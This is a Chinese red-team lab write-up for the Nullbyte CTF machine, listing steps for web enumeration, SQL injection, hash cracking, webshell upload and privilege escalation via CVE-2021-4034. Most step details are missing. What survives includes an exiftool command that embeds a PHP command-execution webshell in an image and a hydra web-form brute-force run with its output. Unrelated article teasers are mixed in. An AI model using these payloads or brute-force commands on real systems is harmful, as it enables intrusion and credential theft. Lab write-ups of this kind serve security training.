第十五篇红队笔记-百靶精讲之Nullbyte-exiftool图片-hydra表单-john md5-sql大小马-CVE-2021-4034

第28篇 sw放样特征矩形-圆-矩形学习笔记 本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。 阅读详情

nmap信息收集

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web渗透

  • 目录爆破
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  • 源码无发现,下载静态资源look
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  • 可能是ssh密码,可能是mysql密码,最后是web路由
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hydra暴力破解web表单

  • 确定是需要的登陆和不需要验证码的表单
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SQL注入

数据库猜解-布尔类型

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手动

测试字段个数

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数据库信息

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再次获取数据库

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获取数据表

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获取数据表字段

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获取数据表字段值

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sqlmap

获取数据库

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获取数据表

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获取数据表字段

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获取数据表字段值

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John暴力破解md5格式hash

base64解密

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md5解密

  • john
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  • hashcat(破解文本写前,字典写后)
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获得系统初始权限shell

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SQL注入-写入一句话木马

  • system类型函数是命令执行而不是代码执行
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  • eval类型函数是代码执行而不是命令执行(一句话木马)
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SQL注入-写入反弹shell

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提权

SUID可执行文件提权

  • 搜索备份文件
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CVE-2021-4034提权

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其他

exiftool

  • 图片工具
#查看所有信息
exiftool photo.jpg
# 为一个图片生成图片码,图片码为我们的木马
exiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']); ?>"

hydra 表单爆破

└─$ hydra 10.0.2.10 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l zgc -P /usr/share/wordlists/rockyou.txt                                           │Image Width                     : 235
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, t│Image Height                    : 302
hese *** ignore laws and ethics anyway).                                                                                                                               │Has Color Map                   : No
                                                                                                                                                                       │Color Resolution Depth          : 8
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-04 01:14:19                                                                                     │Bits Per Pixel                  : 1
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task                                                      │Background Color                : 0
[DATA] attacking http-post-form://10.0.2.10:80/kzMb5nVYJw/index.php:key=^PASS^:invalid key                                                                             │Comment                         : P-): kzMb5nVYJw
[STATUS] 4566.00 tries/min, 4566 tries in 00:01h, 14339833 to do in 52:21h, 16 active                                                                                  │Image Size                      : 235x302
[STATUS] 4652.00 tries/min, 13956 tries in 00:03h, 14330443 to do in 51:21h, 16 active                                                                                 │Megapixels                      : 0.071
[80][http-post-form] host: 10.0.2.10   login: zgc   password: elite                                                                                                    │                                                                                                                                                                       
1 of 1 target successfully completed, 1 valid password found                                                                                                           │┌──(kali?kali)-[/tmp]
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-04 01:19:45                                                                                     │└─$ vi 2main.gif 
                                                                                         
第14.5章 高翔博士最新开源框架Lightning-LM源码解读(五):揭秘位姿图优化核心模块,从数学原理到代码实现 本文介绍了Lightning-LM框架中的位姿图优化(PGO)模块实现。该模块通过融合多源定位信息(激光定位、激光里程计、DR等),构建并优化位姿图来获得更精确的位姿估计。 主要内容包括: 模块概况与数据流程:初始化配置→添加PGO帧→分配位姿→优化求解→更新位姿→滑动窗口 16个核心函数详解:从构造函数到边缘化处理,涵盖完整的PGO工作流程 关键技术点:噪声参数设置、优化问题构建、约束添加、异常值处理等 关键数据结构:帧队列管理、顶点和边构建、优化统计信息收集 该PGO模块采用增量式优化方式,支持多种约束 阅读详情

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